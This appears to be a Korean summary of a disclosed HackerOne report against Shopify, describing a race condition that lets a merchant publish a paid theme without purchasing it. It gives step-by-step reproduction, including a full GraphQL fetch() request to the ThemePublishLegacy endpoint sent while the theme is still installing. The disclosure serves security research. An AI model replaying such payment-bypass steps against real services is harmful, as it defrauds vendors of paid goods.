hackerone-shopify-2020-08-l-953083

Ability to publish a paid theme without purchasing it

보고서

유료 테마를 구매하지 않고도 사용할 수 있었다. hackerone-927567 에서 유사한 취약점이 있었는데, 업데이트를 배포한 후에도 동일한 API에 취약점이 있었다.

  1. 디폴트 테마가 설치되었고 퍼블리시되어 있는지 확인한다.

  2. 무료 테마를 설치한다.

  3. 무료 테마를 퍼블리시한다.

  4. 개발자 도구로 ThemePublishLegacy 요청을 실행할 수 있게 준비한다.

    fetch("https://yourshop.myshopify.com/admin/online-store/admin/api/unversioned/graphql", {
    "headers": {
        "accept": "application/json",
        "accept-language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
        "cache-control": "no-cache",
        "content-type": "application/json",
        "pragma": "no-cache",
        "sec-fetch-dest": "empty",
        "sec-fetch-mode": "cors",
        "sec-fetch-site": "same-origin",
        "x-online-store-web": "1"
    },
    "referrerPolicy": "no-referrer",
    "body": "{\"operationName\":\"ThemePublishLegacy\",\"variables\":{\"id\":\"gid://shopify/OnlineStoreTheme/[THEME_ID]\"},\"query\":\"mutation     ThemePublishLegacy($id: ID!) {\\n  onlineStoreThemePublish(id: $id) {\\n    theme {\\n      id\\n      __typename\\n    }\\n    userErrors {\\n      field\\n          message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
    });
  5. https://themes.shopify.com/ 에 방문하고, <<내 상점>>.myshopify.com/admin/themes 를 열어둔다.

  6. 유료 테마를 선택하고, ‘Try theme’ 버튼을 눌러 설치한다. 이 때, 테마가 전부 설치되기 전에 다음 단계를 빠르게 수행한다.

  7. <<내 상점>>.myshopify.com/admin/themes 에서 새로고침 한다. 페이지가 다시 로드되면 Theme Library 섹션에서 테마가 설치되고 있음을 확인할 수 있다(스피너 애니메이션이 표시됨)

  8. 개발자도구로 ThemesProcessingLegacy API를 실행한다. 응답 미리보기 탭을 열고 data > onlineStore > themes > edges > [0] > node > id 에서 설치중인 테마의 ID를 얻는다.

  9. 테마 ID를 4단계에 준비한 ThemePublishLegacy API 인자로 넣고 보낸다.

설치가 다 완료되지 않은 상태에 퍼블리시를 시도하면 취약점이 트리거되었다.


tags: bughunting, shopify, access control vulnerability, business-logic-vul, wstg-busl-06, severity low, web hacking